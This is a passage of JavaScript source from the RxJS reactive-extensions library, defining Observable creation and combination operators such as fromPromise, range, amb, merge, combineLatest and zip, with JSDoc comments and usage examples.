* that require to be run on a scheduler, use subscribeOn.
*
* @param {Scheduler} scheduler Scheduler to notify observers on.
* @returns {Observable} The source sequence whose observations happen on the specified scheduler.
*/
observableProto.observeOn = function (scheduler) {
var source = this;
return new AnonymousObservable(function (observer) {
return source.subscribe(new ObserveOnObserver(scheduler, observer));
});
};
/**
* Wraps the source sequence in order to run its subscription and unsubscription logic on the specified scheduler. This operation is not commonly used;
* see the remarks section for more information on the distinction between subscribeOn and observeOn.
* This only performs the side-effects of subscription and unsubscription on the specified scheduler. In order to invoke observer
* callbacks on a scheduler, use observeOn.
* @param {Scheduler} scheduler Scheduler to perform subscription and unsubscription actions on.
* @returns {Observable} The source sequence whose subscriptions and unsubscriptions happen on the specified scheduler.
*/
observableProto.subscribeOn = function (scheduler) {
var source = this;
return new AnonymousObservable(function (observer) {
var m = new SingleAssignmentDisposable(), d = new SerialDisposable();
d.setDisposable(m);
m.setDisposable(scheduler.schedule(function () {
d.setDisposable(new ScheduledDisposable(scheduler, source.subscribe(observer)));
}));
return d;
});
};
/**
* Converts a Promise to an Observable sequence
* @param {Promise} An ES6 Compliant promise.
* @returns {Observable} An Observable sequence which wraps the existing promise success and failure.
*/
var observableFromPromise = Observable.fromPromise = function (promise) {
return new AnonymousObservable(function (observer) {
promise.then(
function (value) {
observer.onNext(value);
observer.onCompleted();
},
function (reason) {
observer.onError(reason);
});
return function () {
if (promise && promise.abort) {
promise.abort();
}
}
});
};
/*
* Converts an existing observable sequence to an ES6 Compatible Promise
* @example
* var promise = Rx.Observable.return(42).toPromise(RSVP.Promise);
*
* // With config
* Rx.config.Promise = RSVP.Promise;
* var promise = Rx.Observable.return(42).toPromise();
* @param {Function} [promiseCtor] The constructor of the promise. If not provided, it looks for it in Rx.config.Promise.
* @returns {Promise} An ES6 compatible promise with the last value from the observable sequence.
*/
observableProto.toPromise = function (promiseCtor) {
promiseCtor || (promiseCtor = Rx.config.Promise);
if (!promiseCtor) {
throw new Error('Promise type not provided nor in Rx.config.Promise');
}
var source = this;
return new promiseCtor(function (resolve, reject) {
// No cancellation can be done
var value, hasValue = false;
source.subscribe(function (v) {
value = v;
hasValue = true;
}, function (err) {
reject(err);
}, function () {
if (hasValue) {
resolve(value);
}
});
});
};
/**
* Creates a list from an observable sequence.
* @returns An observable sequence containing a single element with a list containing all the elements of the source sequence.
*/
observableProto.toArray = function () {
var self = this;
return new AnonymousObservable(function(observer) {
var arr = [];
return self.subscribe(
arr.push.bind(arr),
observer.onError.bind(observer),
function () {
observer.onNext(arr);
observer.onCompleted();
});
});
};
/**
* Creates an observable sequence from a specified subscribe method implementation.
*
* @example
* var res = Rx.Observable.create(function (observer) { return function () { } );
* var res = Rx.Observable.create(function (observer) { return Rx.Disposable.empty; } );
* var res = Rx.Observable.create(function (observer) { } );
*
* @param {Function} subscribe Implementation of the resulting observable sequence's subscribe method, returning a function that will be wrapped in a Disposable.
* @returns {Observable} The observable sequence with the specified implementation for the Subscribe method.
*/
Observable.create = Observable.createWithDisposable = function (subscribe) {
return new AnonymousObservable(subscribe);
};
/**
* Returns an observable sequence that invokes the specified factory function whenever a new observer subscribes.
*
* @example
* var res = Rx.Observable.defer(function () { return Rx.Observable.fromArray([1,2,3]); });
* @param {Function} observableFactory Observable factory function to invoke for each observer that subscribes to the resulting sequence or Promise.
* @returns {Observable} An observable sequence whose observers trigger an invocation of the given observable factory function.
*/
var observableDefer = Observable.defer = function (observableFactory) {
return new AnonymousObservable(function (observer) {
var result;
try {
result = observableFactory();
} catch (e) {
return observableThrow(e).subscribe(observer);
}
isPromise(result) && (result = observableFromPromise(result));
return result.subscribe(observer);
});
};
/**
* Returns an empty observable sequence, using the specified scheduler to send out the single OnCompleted message.
*
* @example
* var res = Rx.Observable.empty();
* var res = Rx.Observable.empty(Rx.Scheduler.timeout);
* @param {Scheduler} [scheduler] Scheduler to send the termination call on.
* @returns {Observable} An observable sequence with no elements.
*/
var observableEmpty = Observable.empty = function (scheduler) {
scheduler || (scheduler = immediateScheduler);
return new AnonymousObservable(function (observer) {
return scheduler.schedule(function () {
observer.onCompleted();
});
});
};
/**
* Converts an array to an observable sequence, using an optional scheduler to enumerate the array.
*
* @example
* var res = Rx.Observable.fromArray([1,2,3]);
* var res = Rx.Observable.fromArray([1,2,3], Rx.Scheduler.timeout);
* @param {Scheduler} [scheduler] Scheduler to run the enumeration of the input sequence on.
* @returns {Observable} The observable sequence whose elements are pulled from the given enumerable sequence.
*/
var observableFromArray = Observable.fromArray = function (array, scheduler) {
scheduler || (scheduler = currentThreadScheduler);
return new AnonymousObservable(function (observer) {
var count = 0;
return scheduler.scheduleRecursive(function (self) {
if (count < array.length) {
observer.onNext(array[count++]);
self();
} else {
observer.onCompleted();
}
});
});
};
/**
* Converts an iterable into an Observable sequence
*
* @example
* var res = Rx.Observable.fromIterable(new Map());
* var res = Rx.Observable.fromIterable(new Set(), Rx.Scheduler.timeout);
* @param {Scheduler} [scheduler] Scheduler to run the enumeration of the input sequence on.
* @returns {Observable} The observable sequence whose elements are pulled from the given generator sequence.
*/
Observable.fromIterable = function (iterable, scheduler) {
scheduler || (scheduler = currentThreadScheduler);
return new AnonymousObservable(function (observer) {
var iterator;
try {
iterator = iterable[$iterator$]();
} catch (e) {
observer.onError(e);
return;
}
return scheduler.scheduleRecursive(function (self) {
var next;
try {
next = iterator.next();
} catch (err) {
observer.onError(err);
return;
}
if (next.done) {
observer.onCompleted();
} else {
observer.onNext(next.value);
self();
}
});
});
};
/**
* Generates an observable sequence by running a state-driven loop producing the sequence's elements, using the specified scheduler to send out observer messages.
*
* @example
* var res = Rx.Observable.generate(0, function (x) { return x < 10; }, function (x) { return x + 1; }, function (x) { return x; });
* var res = Rx.Observable.generate(0, function (x) { return x < 10; }, function (x) { return x + 1; }, function (x) { return x; }, Rx.Scheduler.timeout);
* @param {Mixed} initialState Initial state.
* @param {Function} condition Condition to terminate generation (upon returning false).
* @param {Function} iterate Iteration step function.
* @param {Function} resultSelector Selector function for results produced in the sequence.
* @param {Scheduler} [scheduler] Scheduler on which to run the generator loop. If not provided, defaults to Scheduler.currentThread.
* @returns {Observable} The generated sequence.
*/
Observable.generate = function (initialState, condition, iterate, resultSelector, scheduler) {
scheduler || (scheduler = currentThreadScheduler);
return new AnonymousObservable(function (observer) {
var first = true, state = initialState;
return scheduler.scheduleRecursive(function (self) {
var hasResult, result;
try {
if (first) {
first = false;
} else {
state = iterate(state);
}
hasResult = condition(state);
if (hasResult) {
result = resultSelector(state);
}
} catch (exception) {
observer.onError(exception);
return;
}
if (hasResult) {
observer.onNext(result);
self();
} else {
observer.onCompleted();
}
});
});
};
/**
* Returns a non-terminating observable sequence, which can be used to denote an infinite duration (e.g. when using reactive joins).
* @returns {Observable} An observable sequence whose observers will never get called.
*/
var observableNever = Observable.never = function () {
return new AnonymousObservable(function () {
return disposableEmpty;
});
};
/**
* Generates an observable sequence of integral numbers within a specified range, using the specified scheduler to send out observer messages.
*
* @example
* var res = Rx.Observable.range(0, 10);
* var res = Rx.Observable.range(0, 10, Rx.Scheduler.timeout);
* @param {Number} start The value of the first integer in the sequence.
* @param {Number} count The number of sequential integers to generate.
* @param {Scheduler} [scheduler] Scheduler to run the generator loop on. If not specified, defaults to Scheduler.currentThread.
* @returns {Observable} An observable sequence that contains a range of sequential integral numbers.
*/
Observable.range = function (start, count, scheduler) {
scheduler || (scheduler = currentThreadScheduler);
return new AnonymousObservable(function (observer) {
return scheduler.scheduleRecursiveWithState(0, function (i, self) {
if (i < count) {
observer.onNext(start + i);
self(i + 1);
} else {
observer.onCompleted();
}
});
});
};
/**
* Generates an observable sequence that repeats the given element the specified number of times, using the specified scheduler to send out observer messages.
*
* @example
* var res = Rx.Observable.repeat(42);
* var res = Rx.Observable.repeat(42, 4);
* 3 - res = Rx.Observable.repeat(42, 4, Rx.Scheduler.timeout);
* 4 - res = Rx.Observable.repeat(42, null, Rx.Scheduler.timeout);
* @param {Mixed} value Element to repeat.
* @param {Number} repeatCount [Optiona] Number of times to repeat the element. If not specified, repeats indefinitely.
* @param {Scheduler} scheduler Scheduler to run the producer loop on. If not specified, defaults to Scheduler.immediate.
* @returns {Observable} An observable sequence that repeats the given element the specified number of times.
*/
Observable.repeat = function (value, repeatCount, scheduler) {
scheduler || (scheduler = currentThreadScheduler);
if (repeatCount == null) {
repeatCount = -1;
}
return observableReturn(value, scheduler).repeat(repeatCount);
};
/**
* Returns an observable sequence that contains a single element, using the specified scheduler to send out observer messages.
* There is an alias called 'returnValue' for browsers <IE9.
*
* @example
* var res = Rx.Observable.return(42);
* var res = Rx.Observable.return(42, Rx.Scheduler.timeout);
* @param {Mixed} value Single element in the resulting observable sequence.
* @param {Scheduler} scheduler Scheduler to send the single element on. If not specified, defaults to Scheduler.immediate.
* @returns {Observable} An observable sequence containing the single specified element.
*/
var observableReturn = Observable['return'] = Observable.returnValue = function (value, scheduler) {
scheduler || (scheduler = immediateScheduler);
return new AnonymousObservable(function (observer) {
return scheduler.schedule(function () {
observer.onNext(value);
observer.onCompleted();
});
});
};
/**
* Returns an observable sequence that terminates with an exception, using the specified scheduler to send out the single onError message.
* There is an alias to this method called 'throwException' for browsers <IE9.
*
* @example
* var res = Rx.Observable.throwException(new Error('Error'));
* var res = Rx.Observable.throwException(new Error('Error'), Rx.Scheduler.timeout);
* @param {Mixed} exception An object used for the sequence's termination.
* @param {Scheduler} scheduler Scheduler to send the exceptional termination call on. If not specified, defaults to Scheduler.immediate.
* @returns {Observable} The observable sequence that terminates exceptionally with the specified exception object.
*/
var observableThrow = Observable['throw'] = Observable.throwException = function (exception, scheduler) {
scheduler || (scheduler = immediateScheduler);
return new AnonymousObservable(function (observer) {
return scheduler.schedule(function () {
observer.onError(exception);
});
});
};
/**
* Constructs an observable sequence that depends on a resource object, whose lifetime is tied to the resulting observable sequence's lifetime.
*
* @example
* var res = Rx.Observable.using(function () { return new AsyncSubject(); }, function (s) { return s; });
* @param {Function} resourceFactory Factory function to obtain a resource object.
* @param {Function} observableFactory Factory function to obtain an observable sequence that depends on the obtained resource.
* @returns {Observable} An observable sequence whose lifetime controls the lifetime of the dependent resource object.
*/
Observable.using = function (resourceFactory, observableFactory) {
return new AnonymousObservable(function (observer) {
var disposable = disposableEmpty, resource, source;
try {
resource = resourceFactory();
if (resource) {
disposable = resource;
}
source = observableFactory(resource);
} catch (exception) {
return new CompositeDisposable(observableThrow(exception).subscribe(observer), disposable);
}
return new CompositeDisposable(source.subscribe(observer), disposable);
});
};
/**
* Propagates the observable sequence or Promise that reacts first.
* @param {Observable} rightSource Second observable sequence or Promise.
* @returns {Observable} {Observable} An observable sequence that surfaces either of the given sequences, whichever reacted first.
*/
observableProto.amb = function (rightSource) {
var leftSource = this;
return new AnonymousObservable(function (observer) {
var choice,
leftChoice = 'L', rightChoice = 'R',
leftSubscription = new SingleAssignmentDisposable(),
rightSubscription = new SingleAssignmentDisposable();
isPromise(rightSource) && (rightSource = observableFromPromise(rightSource));
function choiceL() {
if (!choice) {
choice = leftChoice;
rightSubscription.dispose();
}
}
function choiceR() {
if (!choice) {
choice = rightChoice;
leftSubscription.dispose();
}
}
leftSubscription.setDisposable(leftSource.subscribe(function (left) {
choiceL();
if (choice === leftChoice) {
observer.onNext(left);
}
}, function (err) {
choiceL();
if (choice === leftChoice) {
observer.onError(err);
}
}, function () {
choiceL();
if (choice === leftChoice) {
observer.onCompleted();
}
}));
rightSubscription.setDisposable(rightSource.subscribe(function (right) {
choiceR();
if (choice === rightChoice) {
observer.onNext(right);
}
}, function (err) {
choiceR();
if (choice === rightChoice) {
observer.onError(err);
}
}, function () {
choiceR();
if (choice === rightChoice) {
observer.onCompleted();
}
}));
return new CompositeDisposable(leftSubscription, rightSubscription);
});
};
/**
* Propagates the observable sequence or Promise that reacts first.
*
* @example
* var = Rx.Observable.amb(xs, ys, zs);
* @returns {Observable} An observable sequence that surfaces any of the given sequences, whichever reacted first.
*/
Observable.amb = function () {
var acc = observableNever(),
items = argsOrArray(arguments, 0);
function func(previous, current) {
return previous.amb(current);
}
for (var i = 0, len = items.length; i < len; i++) {
acc = func(acc, items[i]);
}
return acc;
};
function observableCatchHandler(source, handler) {
return new AnonymousObservable(function (observer) {
var d1 = new SingleAssignmentDisposable(), subscription = new SerialDisposable();
subscription.setDisposable(d1);
d1.setDisposable(source.subscribe(observer.onNext.bind(observer), function (exception) {
var d, result;
try {
result = handler(exception);
} catch (ex) {
observer.onError(ex);
return;
}
isPromise(result) && (result = observableFromPromise(result));
d = new SingleAssignmentDisposable();
subscription.setDisposable(d);
d.setDisposable(result.subscribe(observer));
}, observer.onCompleted.bind(observer)));
return subscription;
});
}
/**
* Continues an observable sequence that is terminated by an exception with the next observable sequence.
* @example
* 1 - xs.catchException(ys)
* 2 - xs.catchException(function (ex) { return ys(ex); })
* @param {Mixed} handlerOrSecond Exception handler function that returns an observable sequence given the error that occurred in the first sequence, or a second observable sequence used to produce results when an error occurred in the first sequence.
* @returns {Observable} An observable sequence containing the first sequence's elements, followed by the elements of the handler sequence in case an exception occurred.
*/
observableProto['catch'] = observableProto.catchException = function (handlerOrSecond) {
return typeof handlerOrSecond === 'function' ?
observableCatchHandler(this, handlerOrSecond) :
observableCatch([this, handlerOrSecond]);
};
/**
* Continues an observable sequence that is terminated by an exception with the next observable sequence.
*
* @example
* 1 - res = Rx.Observable.catchException(xs, ys, zs);
* 2 - res = Rx.Observable.catchException([xs, ys, zs]);
* @returns {Observable} An observable sequence containing elements from consecutive source sequences until a source sequence terminates successfully.
*/
var observableCatch = Observable.catchException = Observable['catch'] = function () {
var items = argsOrArray(arguments, 0);
return enumerableFor(items).catchException();
};
/**
* Merges the specified observable sequences into one observable sequence by using the selector function whenever any of the observable sequences or Promises produces an element.
* This can be in the form of an argument list of observables or an array.
*
* @example
* 1 - obs = observable.combineLatest(obs1, obs2, obs3, function (o1, o2, o3) { return o1 + o2 + o3; });
* 2 - obs = observable.combineLatest([obs1, obs2, obs3], function (o1, o2, o3) { return o1 + o2 + o3; });
* @returns {Observable} An observable sequence containing the result of combining elements of the sources using the specified result selector function.
*/
observableProto.combineLatest = function () {
var args = slice.call(arguments);
if (Array.isArray(args[0])) {
args[0].unshift(this);
} else {
args.unshift(this);
}
return combineLatest.apply(this, args);
};
/**
* Merges the specified observable sequences into one observable sequence by using the selector function whenever any of the observable sequences or Promises produces an element.
*
* @example
* 1 - obs = Rx.Observable.combineLatest(obs1, obs2, obs3, function (o1, o2, o3) { return o1 + o2 + o3; });
* 2 - obs = Rx.Observable.combineLatest([obs1, obs2, obs3], function (o1, o2, o3) { return o1 + o2 + o3; });
* @returns {Observable} An observable sequence containing the result of combining elements of the sources using the specified result selector function.
*/
var combineLatest = Observable.combineLatest = function () {
var args = slice.call(arguments), resultSelector = args.pop();
if (Array.isArray(args[0])) {
args = args[0];
}
return new AnonymousObservable(function (observer) {
var falseFactory = function () { return false; },
n = args.length,
hasValue = arrayInitialize(n, falseFactory),
hasValueAll = false,
isDone = arrayInitialize(n, falseFactory),
values = new Array(n);
function next(i) {
var res;
hasValue[i] = true;
if (hasValueAll || (hasValueAll = hasValue.every(identity))) {
try {
res = resultSelector.apply(null, values);
} catch (ex) {
observer.onError(ex);
return;
}
observer.onNext(res);
} else if (isDone.filter(function (x, j) { return j !== i; }).every(identity)) {
observer.onCompleted();
}
}
function done (i) {
isDone[i] = true;
if (isDone.every(identity)) {
observer.onCompleted();
}
}
var subscriptions = new Array(n);
for (var idx = 0; idx < n; idx++) {
(function (i) {
var source = args[i], sad = new SingleAssignmentDisposable();
isPromise(source) && (source = observableFromPromise(source));
sad.setDisposable(source.subscribe(function (x) {
values[i] = x;
next(i);
}, observer.onError.bind(observer), function () {
done(i);
}));
subscriptions[i] = sad;
}(idx));
}
return new CompositeDisposable(subscriptions);
});
};
/**
* Concatenates all the observable sequences. This takes in either an array or variable arguments to concatenate.
*
* @example
* 1 - concatenated = xs.concat(ys, zs);
* 2 - concatenated = xs.concat([ys, zs]);
* @returns {Observable} An observable sequence that contains the elements of each given sequence, in sequential order.
*/
observableProto.concat = function () {
var items = slice.call(arguments, 0);
items.unshift(this);
return observableConcat.apply(this, items);
};
/**
* Concatenates all the observable sequences.
*
* @example
* 1 - res = Rx.Observable.concat(xs, ys, zs);
* 2 - res = Rx.Observable.concat([xs, ys, zs]);
* @returns {Observable} An observable sequence that contains the elements of each given sequence, in sequential order.
*/
var observableConcat = Observable.concat = function () {
var sources = argsOrArray(arguments, 0);
return enumerableFor(sources).concat();
};
/**
* Concatenates an observable sequence of observable sequences.
* @returns {Observable} An observable sequence that contains the elements of each observed inner sequence, in sequential order.
*/
observableProto.concatObservable = observableProto.concatAll =function () {
return this.merge(1);
};
/**
* Merges an observable sequence of observable sequences into an observable sequence, limiting the number of concurrent subscriptions to inner sequences.
* Or merges two observable sequences into a single observable sequence.
*
* @example
* 1 - merged = sources.merge(1);
* 2 - merged = source.merge(otherSource);
* @param {Mixed} [maxConcurrentOrOther] Maximum number of inner observable sequences being subscribed to concurrently or the second observable sequence.
* @returns {Observable} The observable sequence that merges the elements of the inner sequences.
*/
observableProto.merge = function (maxConcurrentOrOther) {
if (typeof maxConcurrentOrOther !== 'number') {
return observableMerge(this, maxConcurrentOrOther);
}
var sources = this;
return new AnonymousObservable(function (observer) {
var activeCount = 0,
group = new CompositeDisposable(),
isStopped = false,
q = [],
subscribe = function (xs) {
var subscription = new SingleAssignmentDisposable();
group.add(subscription);
// Check for promises support
if (isPromise(xs)) { xs = observableFromPromise(xs); }
subscription.setDisposable(xs.subscribe(observer.onNext.bind(observer), observer.onError.bind(observer), function () {
var s;
group.remove(subscription);
if (q.length > 0) {
s = q.shift();
subscribe(s);
} else {
activeCount--;
if (isStopped && activeCount === 0) {
observer.onCompleted();
}
}
}));
};
group.add(sources.subscribe(function (innerSource) {
if (activeCount < maxConcurrentOrOther) {
activeCount++;
subscribe(innerSource);
} else {
q.push(innerSource);
}
}, observer.onError.bind(observer), function () {
isStopped = true;
if (activeCount === 0) {
observer.onCompleted();
}
}));
return group;
});
};
/**
* Merges all the observable sequences into a single observable sequence.
* The scheduler is optional and if not specified, the immediate scheduler is used.
*
* @example
* 1 - merged = Rx.Observable.merge(xs, ys, zs);
* 2 - merged = Rx.Observable.merge([xs, ys, zs]);
* 3 - merged = Rx.Observable.merge(scheduler, xs, ys, zs);
* 4 - merged = Rx.Observable.merge(scheduler, [xs, ys, zs]);
* @returns {Observable} The observable sequence that merges the elements of the observable sequences.
*/
var observableMerge = Observable.merge = function () {
var scheduler, sources;
if (!arguments[0]) {
scheduler = immediateScheduler;
sources = slice.call(arguments, 1);
} else if (arguments[0].now) {
scheduler = arguments[0];
sources = slice.call(arguments, 1);
} else {
scheduler = immediateScheduler;
sources = slice.call(arguments, 0);
}
if (Array.isArray(sources[0])) {
sources = sources[0];
}
return observableFromArray(sources, scheduler).mergeObservable();
};
/**
* Merges an observable sequence of observable sequences into an observable sequence.
* @returns {Observable} The observable sequence that merges the elements of the inner sequences.
*/
observableProto.mergeObservable = observableProto.mergeAll =function () {
var sources = this;
return new AnonymousObservable(function (observer) {
var group = new CompositeDisposable(),
isStopped = false,
m = new SingleAssignmentDisposable();
group.add(m);
m.setDisposable(sources.subscribe(function (innerSource) {
var innerSubscription = new SingleAssignmentDisposable();
group.add(innerSubscription);
// Check if Promise or Observable
if (isPromise(innerSource)) {
innerSource = observableFromPromise(innerSource);
}
innerSubscription.setDisposable(innerSource.subscribe(function (x) {
observer.onNext(x);
}, observer.onError.bind(observer), function () {
group.remove(innerSubscription);
if (isStopped && group.length === 1) { observer.onCompleted(); }
}));
}, observer.onError.bind(observer), function () {
isStopped = true;
if (group.length === 1) { observer.onCompleted(); }
}));
return group;
});
};
/**
* Continues an observable sequence that is terminated normally or by an exception with the next observable sequence.
* @param {Observable} second Second observable sequence used to produce results after the first sequence terminates.
* @returns {Observable} An observable sequence that concatenates the first and second sequence, even if the first sequence terminates exceptionally.
*/
observableProto.onErrorResumeNext = function (second) {
if (!second) {
throw new Error('Second observable is required');
}
return onErrorResumeNext([this, second]);
};
/**
* Continues an observable sequence that is terminated normally or by an exception with the next observable sequence.
*
* @example
* 1 - res = Rx.Observable.onErrorResumeNext(xs, ys, zs);
* 1 - res = Rx.Observable.onErrorResumeNext([xs, ys, zs]);
* @returns {Observable} An observable sequence that concatenates the source sequences, even if a sequence terminates exceptionally.
*/
var onErrorResumeNext = Observable.onErrorResumeNext = function () {
var sources = argsOrArray(arguments, 0);
return new AnonymousObservable(function (observer) {
var pos = 0, subscription = new SerialDisposable(),
cancelable = immediateScheduler.scheduleRecursive(function (self) {
var current, d;
if (pos < sources.length) {
current = sources[pos++];
isPromise(current) && (current = observableFromPromise(current));
d = new SingleAssignmentDisposable();
subscription.setDisposable(d);
d.setDisposable(current.subscribe(observer.onNext.bind(observer), function () {
self();
}, function () {
self();
}));
} else {
observer.onCompleted();
}
});
return new CompositeDisposable(subscription, cancelable);
});
};
/**
* Returns the values from the source observable sequence only after the other observable sequence produces a value.
* @param {Observable | Promise} other The observable sequence or Promise that triggers propagation of elements of the source sequence.
* @returns {Observable} An observable sequence containing the elements of the source sequence starting from the point the other sequence triggered propagation.
*/
observableProto.skipUntil = function (other) {
var source = this;
return new AnonymousObservable(function (observer) {
var isOpen = false;
var disposables = new CompositeDisposable(source.subscribe(function (left) {
isOpen && observer.onNext(left);
}, observer.onError.bind(observer), function () {
isOpen && observer.onCompleted();
}));
isPromise(other) && (other = observableFromPromise(other));
var rightSubscription = new SingleAssignmentDisposable();
disposables.add(rightSubscription);
rightSubscription.setDisposable(other.subscribe(function () {
isOpen = true;
rightSubscription.dispose();
}, observer.onError.bind(observer), function () {
rightSubscription.dispose();
}));
return disposables;
});
};
/**
* Transforms an observable sequence of observable sequences into an observable sequence producing values only from the most recent observable sequence.
* @returns {Observable} The observable sequence that at any point in time produces the elements of the most recent inner observable sequence that has been received.
*/
observableProto['switch'] = observableProto.switchLatest = function () {
var sources = this;
return new AnonymousObservable(function (observer) {
var hasLatest = false,
innerSubscription = new SerialDisposable(),
isStopped = false,
latest = 0,
subscription = sources.subscribe(function (innerSource) {
var d = new SingleAssignmentDisposable(), id = ++latest;
hasLatest = true;
innerSubscription.setDisposable(d);
// Check if Promise or Observable
if (isPromise(innerSource)) {
innerSource = observableFromPromise(innerSource);
}
d.setDisposable(innerSource.subscribe(function (x) {
if (latest === id) {
observer.onNext(x);
}
}, function (e) {
if (latest === id) {
observer.onError(e);
}
}, function () {
if (latest === id) {
hasLatest = false;
if (isStopped) {
observer.onCompleted();
}
}
}));
}, observer.onError.bind(observer), function () {
isStopped = true;
if (!hasLatest) {
observer.onCompleted();
}
});
return new CompositeDisposable(subscription, innerSubscription);
});
};
/**
* Returns the values from the source observable sequence until the other observable sequence produces a value.
* @param {Observable | Promise} other Observable sequence or Promise that terminates propagation of elements of the source sequence.
* @returns {Observable} An observable sequence containing the elements of the source sequence up to the point the other sequence interrupted further propagation.
*/
observableProto.takeUntil = function (other) {
var source = this;
return new AnonymousObservable(function (observer) {
isPromise(other) && (other = observableFromPromise(other));
return new CompositeDisposable(
source.subscribe(observer),
other.subscribe(observer.onCompleted.bind(observer), observer.onError.bind(observer), noop)
);
});
};
function zipArray(second, resultSelector) {
var first = this;
return new AnonymousObservable(function (observer) {
var index = 0, len = second.length;
return first.subscribe(function (left) {
if (index < len) {
var right = second[index++], result;
try {
result = resultSelector(left, right);
} catch (e) {
observer.onError(e);
return;
}
observer.onNext(result);
} else {
observer.onCompleted();
}
}, observer.onError.bind(observer), observer.onCompleted.bind(observer));
});
}
/**
* Merges the specified observable sequences into one observable sequence by using the selector function whenever all of the observable sequences or an array have produced an element at a corresponding index.
* The last element in the arguments must be a function to invoke for each series of elements at corresponding indexes in the sources.
*
* @example
* 1 - res = obs1.zip(obs2, fn);
* 1 - res = x1.zip([1,2,3], fn);
* @returns {Observable} An observable sequence containing the result of combining elements of the sources using the specified result selector function.
*/
observableProto.zip = function () {
if (Array.isArray(arguments[0])) {
return zipArray.apply(this, arguments);
}
var parent = this, sources = slice.call(arguments), resultSelector = sources.pop();
sources.unshift(parent);
return new AnonymousObservable(function (observer) {
var n = sources.length,
queues = arrayInitialize(n, function () { return []; }),
isDone = arrayInitialize(n, function () { return false; });
function next(i) {
var res, queuedValues;
if (queues.every(function (x) { return x.length > 0; })) {
try {
queuedValues = queues.map(function (x) { return x.shift(); });
res = resultSelector.apply(parent, queuedValues);
} catch (ex) {
observer.onError(ex);
return;
}
observer.onNext(res);
} else if (isDone.filter(function (x, j) { return j !== i; }).every(identity)) {
observer.onCompleted();
}
};
function done(i) {
isDone[i] = true;
if (isDone.every(function (x) { return x; })) {
observer.onCompleted();
}
}
var subscriptions = new Array(n);
for (var idx = 0; idx < n; idx++) {
(function (i) {
var source = sources[i], sad = new SingleAssignmentDisposable();
isPromise(source) && (source = observableFromPromise(source));
sad.setDisposable(source.subscribe(function (x) {
queues[i].push(x);
next(i);
}, observer.onError.bind(observer), function () {
done(i);
}));
subscriptions[i] = sad;
})(idx);
}
return new CompositeDisposable(subscriptions);
});
};
/**
* Merges the specified observable sequences into one observable sequence by using the selector function whenever all of the observable sequences have produced an element at a corresponding index.
* @param arguments Observable sources.
* @param {Function} resultSelector Function to invoke for each series of elements at corresponding indexes in the sources.
* @returns {Observable} An observable sequence containing the result of combining elements of the sources using the specified result selector function.
*/
Observable.zip = function () {
var args = slice.call(arguments, 0),
first = args.shift();
return first.zip.apply(first, args);
};
/**
* Merges the specified observable sequences into one observable sequence by emitting a list with the elements of the observable sequences at corresponding indexes.
* @param arguments Observable sources.
* @returns {Observable} An observable sequence containing lists of elements at corresponding indexes.
*/
Observable.zipArray = function () {
var sources = argsOrArray(arguments, 0);
return new AnonymousObservable(function (observer) {
var n = sources.length,
queues = arrayInitialize(n, function () { return []; }),
isDone = arrayInitialize(n, function () { return false; });
function next(i) {
if (queues.every(function (x) { return x.length > 0; })) {
var res = queues.map(function (x) { return x.shift(); });
observer.onNext(res);
} else if (isDone.filter(function (x, j) { return j !== i; }).every(identity)) {
observer.onCompleted();
return;
}
};
function done(i) {
isDone[i] = true;
if (isDone.every(identity)) {
observer.onCompleted();
return;
}
}
var subscriptions = new Array(n);
for (var idx = 0; idx < n; idx++) {
(function (i) {
subscriptions[i] = new SingleAssignmentDisposable();
subscriptions[i].setDisposable(sources[i].subscribe(function (x) {
queues[i].push(x);
next(i);
}, observer.onError.bind(observer), function () {
done(i);
}));
})(idx);
}
var compositeDisposable = new CompositeDisposable(subscriptions);
compositeDisposable.add(disposableCreate(function () {
for (var qIdx = 0, qLen = queues.length; qIdx < qLen; qIdx++) {
queues[qIdx] = [];
}
}));
return compositeDisposable;
});
};
/**
* Hides the identity of an observable sequence.
* @returns {Observable} An observable sequence that hides the identity of the source sequence.
*/
observableProto.asObservable = function () {
var source = this;
return new AnonymousObservable(function (observer) {
return source.subscribe(observer);
});
};
/**
* Projects each element of an observable sequence into zero or more buffers which are produced based on element count information.
*
* @example
* var res = xs.bufferWithCount(10);
* var res = xs.bufferWithCount(10, 1);
* @param {Number} count Length of each buffer.
* @param {Number} [skip] Number of elements to skip between creation of consecutive buffers. If not provided, defaults to the count.
* @returns {Observable} An observable sequence of buffers.
*/
observableProto.bufferWithCount = function (count, skip) {
if (typeof skip !== 'number') {
skip = count;
}
return this.windowWithCount(count, skip).selectMany(function (x) {
return x.toArray();
}).where(function (x) {
return x.length > 0;
});
};
/**
* Dematerializes the explicit notification values of an observable sequence as implicit notifications.
* @returns {Observable} An observable sequence exhibiting the behavior corresponding to the source sequence's notification values.
*/
observableProto.dematerialize = function () {
var source = this;
return new AnonymousObservable(function (observer) {
return source.subscribe(function (x) {
return x.accept(observer);
}, observer.onError.bind(observer), observer.onCompleted.bind(observer));
});
};
/**
* Returns an observable sequence that contains only distinct contiguous elements according to the keySelector and the comparer.
*
* var obs = observable.distinctUntilChanged();
* var obs = observable.distinctUntilChanged(function (x) { return x.id; });
* var obs = observable.distinctUntilChanged(function (x) { return x.id; }, function (x, y) { return x === y; });
*
* @param {Function} [keySelector] A function to compute the comparison key for each element. If not provided, it projects the value.
* @param {Function} [comparer] Equality comparer for computed key values. If not provided, defaults to an equality comparer function.
* @returns {Observable} An observable sequence only containing the distinct contiguous elements, based on a computed key value, from the source sequence.
*/
observableProto.distinctUntilChanged = function (keySelector, comparer) {
var source = this;
keySelector || (keySelector = identity);
comparer || (comparer = defaultComparer);
return new AnonymousObservable(function (observer) {
var hasCurrentKey = false, currentKey;
return source.subscribe(function (value) {
var comparerEquals = false, key;
try {
key = keySelector(value);
} catch (exception) {
observer.onError(exception);
return;
}
if (hasCurrentKey) {
try {
comparerEquals = comparer(currentKey, key);
} catch (exception) {
observer.onError(exception);
return;
}
}
if (!hasCurrentKey || !comparerEquals) {
hasCurrentKey = true;
currentKey = key;
observer.onNext(value);
}
}, observer.onError.bind(observer), observer.onCompleted.bind(observer));
});
};
/**
* Invokes an action for each element in the observable sequence and invokes an action upon graceful or exceptional termination of the observable sequence.
* This method can be used for debugging, logging, etc. of query behavior by intercepting the message stream to run arbitrary actions for messages on the pipeline.
*
* @example
* var res = observable.doAction(observer);
* var res = observable.doAction(onNext);
* var res = observable.doAction(onNext, onError);
* var res = observable.doAction(onNext, onError, onCompleted);
* @param {Mixed} observerOrOnNext Action to invoke for each element in the observable sequence or an observer.
* @param {Function} [onError] Action to invoke upon exceptional termination of the observable sequence. Used if only the observerOrOnNext parameter is also a function.
* @param {Function} [onCompleted] Action to invoke upon graceful termination of the observable sequence. Used if only the observerOrOnNext parameter is also a function.
